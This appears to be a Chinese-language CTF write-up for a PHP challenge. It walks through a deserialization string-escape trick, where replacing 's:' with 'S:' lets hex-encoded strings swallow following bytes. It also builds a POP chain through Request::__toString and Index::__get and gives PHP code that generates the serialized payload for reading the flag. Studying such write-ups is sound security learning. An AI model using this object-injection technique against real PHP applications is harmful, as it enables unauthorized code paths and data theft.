問題在Service.class.php
<?php
class Service{
public $_if_action=true;
public $post;
public $view;
public function __construct($config){
$this->view=$config['view'];
$this->post=$config['post'];
}
public function index(){
$serialize_data=serialize($this->post);
if(santi($serialize_data)){
$data = unserialize(preg_replace('/s:/', 'S:', $serialize_data));
$this->view->user_view($data['Location']);
}else{
$this->view->user_view("Bad strings.");
}
}
public function __call($function, $arg){
return file_get_contents('/flag');
}
}
$config['post']
由Request.class.php
獲得:
<?php
class Request
{
public $config;
public $hhhhh;
public $hhhh;
function __construct(){
$this->config['post']=$_POST;
$this->config['get']=$_GET;
$this->config['input']=file_get_contents('php://input');
$this->config['headers']=apache_request_headers();
}
public function __destruct(){
echo $this->hhhh.'';
}
public function __toString(){
return $this->hhhhh->b;
}
public function __wakeup(){
}
}
程式由$_POST
先進行序列化,然後把字串的s
換成S
,最後再反序列化成陣列,並丟到user_view
去執行。
public function user_view($text, $flag=False){
if($flag){
if($this->return_string!=='False'?$this->return_string:False){
echo "Hello,".$this->return_string."!","You have made an appointment successfully!";
}elseif(!empty($text)){
echo $text;
}else{
echo "";
}
}else{
$this->return_string = $text;
}
}
user_view
會先進去else分支,把$text
賦值到$return_string
,然後Init.class.php
會以$flag = True
再執行一次。
尋找POP鏈:
在Index.class.php
中存在一些魔法函數:
<?php
class Index{
public $view;
public $_if_action=True;
public $file;
public function __construct($config){
$this->view=$config['view'];
}
public function index(){
$this->view->html('home');
}
public function __call($function_name, $function_arg){
$this->view->html("$function_name");
}
public function __get($name){
return "flag{i am flag}";
// return file_get_contents('/flag');
}
public function __toString(){
print("Index __toString");
if($this->file=='/flag'){
return file_get_contents($this->file);
}
return '';
}
public function __wakeup(){
$this->file='/hint';
}
}
user_view
會使用echo
,可以觸發Request
的__toString
,然後會訪問不存在的變數,可以再觸發Index
的__get
,就能把flag印出來了。
調用鏈:
user_view->echo <-- Request::__toString <-- Index::__get
字串逃逸:
程式將字串標示符改成S
,就能夠支援16進位的字串,所以可以利用這個特性去吃掉後面的字:
a=xxxx\00\00\00\00&;
在一開始序列化時,a的長度是16,換成16進位後長度就變成8,後面的8位就會被當成a這個字串,就能bypass。
最後Payload:
<?php
class Index{
public $view;
public function __construct($config){
$this->view=$config['view'];
}
}
class Request
{
public $config;
public $hhhhh;
}
$index = new Index(["view"=>""]);
$request = new Request();
$request->hhhhh = $index;
$request->config = [];
echo (serialize($request));
參考: